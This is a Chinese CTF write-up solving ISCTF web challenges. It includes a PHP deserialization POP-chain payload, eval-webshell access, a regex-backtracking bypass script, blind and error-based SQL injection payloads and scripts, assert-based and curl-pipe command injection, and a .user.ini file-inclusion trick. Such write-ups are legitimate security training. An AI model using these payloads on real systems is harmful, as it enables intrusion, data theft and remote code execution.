ISCTF wp

web

圣杯战争

题目源码

 <?php
highlight_file(__FILE__);
error_reporting(0);
 
class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
    }
}
 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
    }
}
class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
    }
}
class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
    }
}
 
if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?> 

知识点:

  • __wakeup() 方法

当使用 unserialize() 反序列化一个对象成功后,会自动调用该对象的 __wakup() 魔术方法。

  • __invoke()方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

  • __get()方法

获取私有成员的属性值,它含有一个参数,即要获取的成员属性的名称,调用时返回获取的属性值,这个方法不需要手动调用,是在获取私有属性时自动调用的

  • __toString()方法

 它是在直接输出对象引用时自动调用的方法

当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么,如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据

代码审计

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;  //目的是触发__get(),我们留意到这里调用了$excalibuer里的arrow属性,显然类prepare里没有arrow属性,丢到这里刚好能触发__get()

 
class prepare{
    public $release;
    public function __get($key){
        $functioin = $this->release;//将 $this->release 属性赋值给了 $function
        echo "蓄力!咖喱棒!!<br>";
        return $functioin(); //在这里被当作函数调用,显而易见能把saber类丢给这里的$release
    }

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);//想要包含需要触发__invoke()的话需要找能把saber类当作函数触发的地方
    }

class summon{
    public $Saber;
    public $Rider;
 
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;//目的是触发刚刚第三层的tostring,这里有个echo

用php伪协议构造

payload

?payload=O:6:"summon":2:{s:5:"Saber";O:8:"artifact":2:{s:10:"excalibuer";O:7:"prepare":1:{s:7:"release";O:5:"saber":1:{s:6:"weapon";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}s:5:"arrow";N;}s:5:"Rider";N;}

解密即可得到flag

where_is_the_flag

题目

<?php  
//flag一分为3,散落在各处,分别是:xxxxxxxx、xxxx、xxx。  
highlight_file(__FILE__);  
  
//标准一句话木马~  
eval($_POST[1]);  
?>

提示了一句话木马密码为1,直接蚁剑连靶场,密码连1,进去就能看见flag1,根目录有flag2,

在这里看见

那我们先进入虚拟终端,然后cd /去到根目录,然后在根目录输出FLAG3 变量的值

将三个flag拼接一下即可得到完整的flag

绕进你的心里

题目

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
require 'flag.php';  
$str = (String)$_POST['pan_gu'];  
$num = $_GET['zhurong'];  
$lida1 = $_GET['hongmeng'];  
$lida2 = $_GET['shennong'];  
if($lida1 !== $lida2 && md5($lida1) === md5($lida2)){  
    echo "md5绕过了!";  
    if(preg_match("/[0-9]/", $num)){  
        die('你干嘛?哎哟!');  
    }  
    elseif(intval($num)){  
        if(preg_match('/.+?ISCTF/is', $str)){  
            die("再想想!");  
        }  
        if(stripos($str, '2023ISCTF') === false){  
            die("就差一点点啦!");  
        }  
        echo $flag;  
    }  
}  
?>

通过数组绕过

?zhurong[]=1&hongmeng[]=2&shennong[]=3

网上找的通用回溯poc如下,需要对应不同题目改脚本:

import requests
from io import BytesIO
 
files = {
  'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}
 
res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)
print(res.headers)

那我们改一下脚本,执行就得到了flag

payload

import requests
url = " "
data={
'pan_gu':'very'*250000+'2023ISCTF'
}
connect=requests.post(url,data=data)
print(connect.text)

easy_website

打开题目

尝试用admin/admin登录

发现用户名的框有SQL注入漏洞,单引号闭合,替换了or,过滤了空格

1' oorrder%09by%091#

爆数据库名

username=-1'ANANDD%09updatexml(1,concat(0x7e,(sELECT%09database())),1)

爆表名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()%09limit%090,1),0x7e))

爆字段名

1'ANANDD%09extractvalue(1,concat(0x7e,(selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'%09limit%090,2),0x7e))

发现不能全部显示出来

知识点:

substring方法

是js字符串类的一个方法,用于从一个字符串中提取出一个子字符串。它可以指定截取的起始和结束位置,不包括结束位置的字符

具体用法见博客:

substring()方法-CSDN博客

爆表名payload,需要改变后substring两个的参数来拼接

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='users'),1,50),0x7e))#&password=admin

经过尝试发现flag在password字段里

payload:

username=-1'ANANDD%09extractvalue(1,concat(0x7e,substring((selselectect%09passwoorrd%09from%09users%09limit%092,1),1,80),0x7e))

得到flag

wafr

题目

<?php  
/*  
Read /flaggggggg.txt  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
  
if(preg_match("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i", $_POST['code'])){//strings    die("想读我文件?大胆。");  
}  
elseif (preg_match("/\^|\||\~|\\$|\%|jay/i", $_POST['code'])){  
    die("无字母数字RCE?大胆!");  
}  
elseif (preg_match("/bash|nc|curl|sess|\{|:|;/i", $_POST['code'])){  
    die("奇技淫巧?大胆!!");  
}  
elseif (preg_match("/fl|ag|\.|x/i", $_POST['code'])){  
    die("大胆!!!");  
}  
else{    assert($_POST['code']);  
}

用post传参

payload:

code=system("strings /f*")
 

ez_ini

选择文件上传,上传一个.user.ini
注意user前面有个 点
可以写入
auto_prepend_file=/flag

然后上传能直接有flag

web_include

用dirsearch扫描一下看看是不是源码泄露

发现了flag.php,index.bak

访问index.bak下载打开,得到

function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }


const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));
if(hash === 'dxdydxdudxdtdxeadxekdxea'){
            window.location = 'flag.html';
          }else {
            document.getElementById('fail').style.display = '';
          }

有一处是让一个小写字母转换为两个大写字母,我们需要逆向写一个脚本,这里就直接复制师傅的脚本

#include<stdio.h>
#include<string.h>
 
int main()
{
    char b[100]="dxdydxdudxdtdxeadxekdxea";
    for(int j=0;j<2;j++){
        int tmp1=0,tmp2=0,sum=0,f=0;
        //printf("%d\n",strlen(b));
        for(int i=0;i<strlen(b);i++){
            int tmp=(int)(b[i]-97);
            f++;
            if(i%2==0){
                tmp1=tmp*26;
                //printf("%d ",tmp1);
            }
            if(i%2!=0){
                tmp2=tmp;
                //printf("%d ",tmp2);
            }
            if(f==2){
                printf("%c",tmp1+tmp2);
                //printf("%d\n",sum);
                sum++;
                tmp1=0;
                tmp2=0;
                f=0;
            }
    }
    //printf("%d",sum);
    }
    return 0;
}

用伪协议构造payload即可

payload

?mihoyo=php://filter/read=convert.base64-encode/resource=flag.php

fuzz

题目

<?php  
/*  
Read /flaggggggg.txt  
Hint: 你需要学会fuzz,看着键盘一个一个对是没有灵魂的  
知识补充:curl命令也可以用来读取文件哦,如curl file:///etc/passwd  
*/  
error_reporting(0);  
header('Content-Type: text/html; charset=utf-8');  
highlight_file(__FILE__);  
$file = 'file:///etc/passwd';  
if(preg_match("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i", $_GET['file'])){  
    die('你需要fuzz一下哦~');  
}  
if(!preg_match("/fi|le|flag/i", $_GET['file'])){    $file = $_GET['file'];  
}  
system('curl '.$file);

[a-z]可以绕过任意一个字母,"|"没过滤可以放在开头结束前面的curl,然后再拼接系统命令

payload:

?file=|tac /fl[a-z]ggggggg.txt

?file=f{i}l{e}:///fla{g}gggggg.txt

1z_Ssql

用脚本跑一下

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            #爆库名
            payload ="1'^(ascii(substr(database(),{0},1))>{1})#".format(j,mid)
            #爆表名
            #payload = "1'^(ascii(substr((select table_name from information_schema.tables group by table_name having table_schema regexp database() limit {2},1),{0},1))>{1})#".format(j, mid,k)
            #爆字段
            #payload = "1'^(ascii(substr((select column_name from information_schema.columns where table_name='users' limit {2},1),{0},1))>{1})#".format(j, mid, k)
            #payload = "1'^(ascii(substr((select flag1 from  limit {2},1),{0},1)>{1}))#".format(j,mid,k)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})
            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

 爆了bthcls的库

再看看当时给的附件

由于name1里面有users,name2里面有username和password。

猜想name1为表名,name2为字段名来爆破:

将脚本中的database()改成select group_concat(username) from bthcls.users就可以了。

import requests
i = 0
url = "http://43.249.195.138:20786/"
result = ""
for k in range (0,10):
    for j in range (1,100):
        l = 32
        r = 128
        mid = (l+r)>>1
        while (l < r):
            payload ="1'^(ascii(substr((select group_concat(username) from bthcls.users),{0},1))>{1})#".format(j,mid)
            response = requests.post(url=url,data={"username": payload, "password":"1","submit": "%E7%99%BB%E5%BD%95"})

            if "You are so smart!" in response.text:
                l = mid + 1
            # print(payload)
                #print(response.text)
                i +=1
            else :
                r = mid
            mid = (l + r)>>1
 
        if (chr(mid) == " "):
            result = result + '\n'
            break
        result = result + chr(mid)
 
        #print(result)
 
 
print(i)
print(result)

直接admin/we1come7o1sctf登录

获得flag

misc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/358693.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第九篇【传奇开心果系列】beeware的toga开发移动应用示例:人口普查手机应用

传奇开心果博文系列 系列博文目录beeware的toga开发移动应用示例系列博文目录一、项目目标二、安装依赖三、实现应用雏形示例代码四、扩展功能和组件的考量五、添加更多输入字段示例代码六、添加验证功能示例代码七、添加数据存储功能示例代码八、添加数据展示功能示例代码九、…

Java基于SpringBoot+Vue的电影影城管理系统,附源码,文档

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

TypeScript实战系列之合理运用类型

目录 介绍any 和 unknownerve 的用途断言type 和 interfacedeclare 关键字的作用联合类型 和 类型守卫交叉类型 介绍 这篇主要介绍下ts 常用的基本类型和一些常用的技巧性技能 any 和 unknow any 和 unknown 是两个类型关键字&#xff0c;它们用于处理类型不确定或未知的情况…

AI绘画:PhotoMaker Win11本地安装记录!

昨天介绍一个叫PhotoMaker的AI绘画开源项目。挺不错的&#xff01; 通过这个项目可以快速制作特定人脸的AI绘画作品&#xff0c;相比传统的技术效果会好很多&#xff0c;效率也高很多。 今天趁热打铁&#xff0c;本地电脑装装看&#xff0c;并且记录&#xff0c;分享一下&#…

高效摄入英语信息的独门武器

经常有读者问我&#xff1a;日常看的都是什么样的信息&#xff1f; 简单来说&#xff0c;大致是这些&#xff1a;比较前沿的科研成果&#xff0c;心理学和神经科学的最新文献&#xff0c;一些综述性和总结性的文章&#xff0c;以及跟心理、大脑和其他科学领域相关的期刊杂志&am…

数据结构—栈实现前缀表达式的计算

前缀表达式计算 过程分析 中缀表达式&#xff1a;&#xff08;1 5&#xff09;*3 > 前缀表达式&#xff1a;*153 &#xff08;可参考这篇文章&#xff1a;中缀转前缀&#xff09; 第一步&#xff1a;从右至左扫描前缀表达式&#xff08;已存放在字符数组中&#xff09;&a…

最近公共祖先

最近公共祖先 概念 给定一棵有n个节点的树&#xff0c;树中的两个节点u和v的最近公共祖先lca&#xff0c;有以下定义 &#xff08;1&#xff09;lca既是u的祖先&#xff0c;又是v的祖先 &#xff08;2&#xff09;lca是所有u和v的公共祖先中深度最深的祖先&#xff0c;也就…

Linux第38步_编译“正点原子移植好的uboot”

uboot的全称是Universal Boot Loader&#xff0c;uboot是一个遵循GPL协议的开源软件&#xff0c;uboot是一个裸机代码&#xff0c;可以看作是一个裸机综合例程。现在的 uboot 已经支持液晶屏、网络、USB等高级功能。 uboot官方的uboot源码是给所有的半导体厂商准备的。ST公司会…

CSS自适应分辨率 postcss-pxtorem(适用于 Vite)

前言 此篇是基于 Vite Vu3 项目的 CSS 自适应分辨率&#xff01; 如果想知道基于 Webpack Vue2 可移步 《CSS自适应分辨率 amfe-flexible 和 postcss-pxtorem&#xff08;适用于 Webpack&#xff09;》 项目对应的主要插件版本如下&#xff1a; "vite": "^4…

使用Win32API实现贪吃蛇小游戏

目录 C语言贪吃蛇项目 基本功能 需要的基础内容 Win32API 介绍 控制台程序部分指令 设置控制台窗口的长宽 设置控制台的名字 控制台在屏幕上的坐标位置结构体COORD 检索指定标准设备的句柄&#xff08;标准输入、标准输出或标准错误&#xff09; 光标信息结构体类型CONSOLE_CUR…

人人都可配置的大屏可视化

大屏主要是为了展示数据和酷炫的效果&#xff0c;布局大部分是9宫格&#xff0c;或者在9宫格上做的延伸&#xff0c;现在介绍下 泛积木-低代码 提供的大屏可视化配置。 首先查看效果展示 泛积木-低代码大屏展示。 创建页面之后&#xff0c;点击进入编辑页面&#xff0c;在可视…

电子液晶屏幕生产厂污废水处理需要哪些工艺设备

随着电子液晶屏幕行业的不断发展&#xff0c;污废水处理成为了一个重要的环保问题。为了达到合规性排放要求&#xff0c;并保护环境&#xff0c;厂家需要采取一系列工艺设备来处理污废水。 首先&#xff0c;常见的一种处理工艺是物理与化学处理。物理处理包括预处理与固液分离&…

Servlet过滤器个监听器

过滤器和监听器 过滤器 什么是过滤器 当浏览器向服务器发送请求的时候&#xff0c;过滤器可以将请求拦截下来&#xff0c;完成一些特殊的功能&#xff0c;比如&#xff1a;编码设置、权限校验、日志记录等。 过滤器执行流程 Filter实例 package com.by.servlet;import jav…

看过来:大龄程序员转行的18个方向

程序员35岁后&#xff0c;无人问津、被下岗&#xff0c;说到底还是中国互联网企业普遍短命和中国程序员新人不断涌现导致的&#xff0c;前者是岗位的缩减&#xff0c;后者是供应的增加&#xff0c;两者一叠加&#xff0c;35岁程序员就成了背锅侠。 大龄程序员和老医生一样都是非…

MySQL数据库基础合集

MySQL数据库基础合集 目录 MySQL数据库基础合集SQL关键字DDL关键字DML关键字DQL关键字DCL关键字约束关键字 SQL基础数据类型整数类型字符类型浮点类型时间类型 数据定义语言DDL1.查看数据库2.创建库3.删除库4.切换库5.创建表6.删除表7.查看表8.查看表属性9.插入列10.修改列11.设…

【MySQL】学习如何通过DQL进行数据库数据的条件查询

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-63IIm2s5sIhQfsfy {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

股票市场

&#xff08;一&#xff09;股票市场 顾名思义&#xff0c;就是买卖股票的场所。就是为了撮合想发展但缺钱的企业与有钱但想投资的投资者。 股票市场按照交易场所&#xff0c;可分为场内市场和场外市场&#xff1a; 场内市场是指证券交易所&#xff0c; 场外市场就是证券交易…

Java 学生管理系统

条件要求&#xff1a; 自己写的代码&#xff1a; public class Student{private String id;private String name;private int age;private String address;public Student() {}public Student(String id, String name, int age, String address) {this.id id;this.name name…

element ui组件 el-date-picker设置default-time的默认时间

default-time &#xff1a;选择日期后的默认时间值。 如未指定则默认时间值为 00:00:00 默认值修改 <el-form-item label"计划开始时间" style"width: 100%;" prop"planStartTime"><el-date-picker v-model"formData.planStart…

【论文解读】Collaboration Helps Camera Overtake LiDAR in 3D Detection

CoCa3D 摘要引言Collaborative Camera-Only 3D DetectionCollaborative depth estimationCollaborative detection feature learning 实验结论和局限 摘要 与基于 LiDAR 的检测系统相比&#xff0c;仅相机 3D 检测提供了一种经济的解决方案&#xff0c;具有简单的配置来定位 3…
最新文章